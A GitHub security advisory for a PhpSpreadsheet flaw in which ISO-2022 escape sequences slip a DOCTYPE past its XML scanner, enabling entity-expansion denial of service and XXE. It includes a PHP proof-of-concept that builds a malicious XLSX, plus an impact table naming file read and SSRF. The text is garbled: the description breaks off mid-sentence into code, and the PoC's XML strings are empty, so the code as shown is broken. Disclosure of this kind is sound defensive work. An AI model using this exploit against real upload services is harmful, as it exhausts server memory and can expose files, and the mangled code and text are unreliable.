GitHub Advisoryadvisory · Packagist
GHSA-3x94-m842-937c PhpSpreadsheet: XmlScanner Bypass via ISO-2022 Escape Sequences Allows XXE and Denial of Service
HIGH
Official page ↗
- Aliases
- CVE-2026-108358
- Ecosystem
- Packagist
- Packages
- phpoffice/phpspreadsheet
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N
- Weaknesses
- CWE-611, CWE-776
- Reviewed
- 2026-10-27
Affected packages
• Packagist phpoffice/phpspreadsheet: >= 4.0.0, < 5.10.0 → fixed in 5.10.0
• Packagist phpoffice/phpspreadsheet: >= 3.3.0, < 3.10.8 → fixed in 3.10.8
• Packagist phpoffice/phpspreadsheet: >= 2.2.0, < 2.4.8 → fixed in 2.4.8
• Packagist phpoffice/phpspreadsheet: >= 2.0.0, < 2.1.19 → fixed in 2.1.19
• Packagist phpoffice/phpspreadsheet: < 1.30.7 → fixed in 1.30.7
Description
Summary
PhpSpreadsheet's `XmlScanner::scan()` uses a regex pattern that only accounts for NULL byte (0x00) interleaving when detecting `' . "\n"
. $doctype . ' sst [' . "\n"
. ' ' . "\n"
. ']>' . "\n"
. ''
. '' . $refs . '';
// Build minimal XLSX
$xlsx = new ZipArchive();
$xlsx->open('poc.xlsx', ZipArchive::CREATE | ZipArchive::OVERWRITE);
$xlsx->addFromString('[Content_Types].xml',
''
.''
.''
.''
.''
.''
.'');
$xlsx->addFromString('_rels/.rels',
''
.''
.'');
$xlsx->addFromString('xl/workbook.xml',
''
.'');
$xlsx->addFromString('xl/_rels/workbook.xml.rels',
''
.''
.''
.'');
$xlsx->addFromString('xl/worksheets/sheet1.xml',
''
.'0');
$xlsx->addFromString('xl/sharedStrings.xml', $shared_strings);
$xlsx->close();
echo "XLSX size: " . filesize('poc.xlsx') . " bytes\n";
// Load with PhpSpreadsheet
$mem_before = memory_get_usage(true);
$reader = new \PhpOffice\PhpSpreadsheet\Reader\Xlsx();
$reader->setReadDataOnly(true);
$spreadsheet = $reader->load('poc.xlsx');
$peak = memory_get_peak_usage(true);
echo "Peak memory: " . round($peak / 1024 / 1024, 1) . " MB\n";
$val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue();
echo "Cell A1 length: " . strlen($val) . " bytes\n";
echo "Entity expansion: " . (strlen($val) > 10000 ? "CONFIRMED" : "not detected") . "\n";
```
Run: `php -d memory_limit=512M poc_iso2022.php`
Expected result: The scanner does not detect the DOCTYPE. The XLSX loads successfully. Internal entities expand, consuming ~45 MB of memory from a ~2 KB file.
Tested on: PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.
Impact
| Attack | PHP < 8.0 / libxml2 < 2.9 | PHP 8.x / libxml2 2.9+ |
|--------|---------------------------|------------------------|
| Denial of Service (quadratic blowup) | Exploitable | Exploitable |
| Local file read via SYSTEM entity | Exploitable | Blocked by default |
| SSRF via SYSTEM entity | Exploitable | Blocked by default |
| File read when LIBXML_NOENT is used | Exploitable | Exploitable |
Any application that accepts user-uploaded XLSX files and processes them with PhpSpreadsheet is vulnerable. The DoS impact is the most severe because it requires no special PHP configuration and works on all supported PHP versions. A 2 KB XLSX causes 45 MB peak memory usage (22,000:1 amplification ratio). Multiple concurrent uploads can exhaust server memory.
Related
Alias · CVE (1)
- CVE-2026-108358 PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. vulnerability
References
- https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-3x94-m842-937c web
- https://nvd.nist.gov/vuln/detail/CVE-2026-108358 advisory
- https://github.com/PHPOffice/PhpSpreadsheet/commit/299993894dce37aa3b64aa23e9a3f4bb77ab0e66 web
- https://github.com/PHPOffice/PhpSpreadsheet/commit/89f455c133e1a7e2d4abfadc43ce29eb7450d781 web
- https://github.com/PHPOffice/PhpSpreadsheet/commit/980b5c294493856f1a25754f1e8a1d2185b93738 web
- https://github.com/PHPOffice/PhpSpreadsheet/commit/9a0b48622ebfe93fa48cb9bc09ce57303bb07af9 web
- https://github.com/PHPOffice/PhpSpreadsheet/commit/da13f40e8760d599b0e8a296017d4b028b20e86c web
- https://github.com/PHPOffice/PhpSpreadsheet package
- https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.7 web
- https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.19 web
- https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.8 web
- https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.8 web
- https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.10.0 web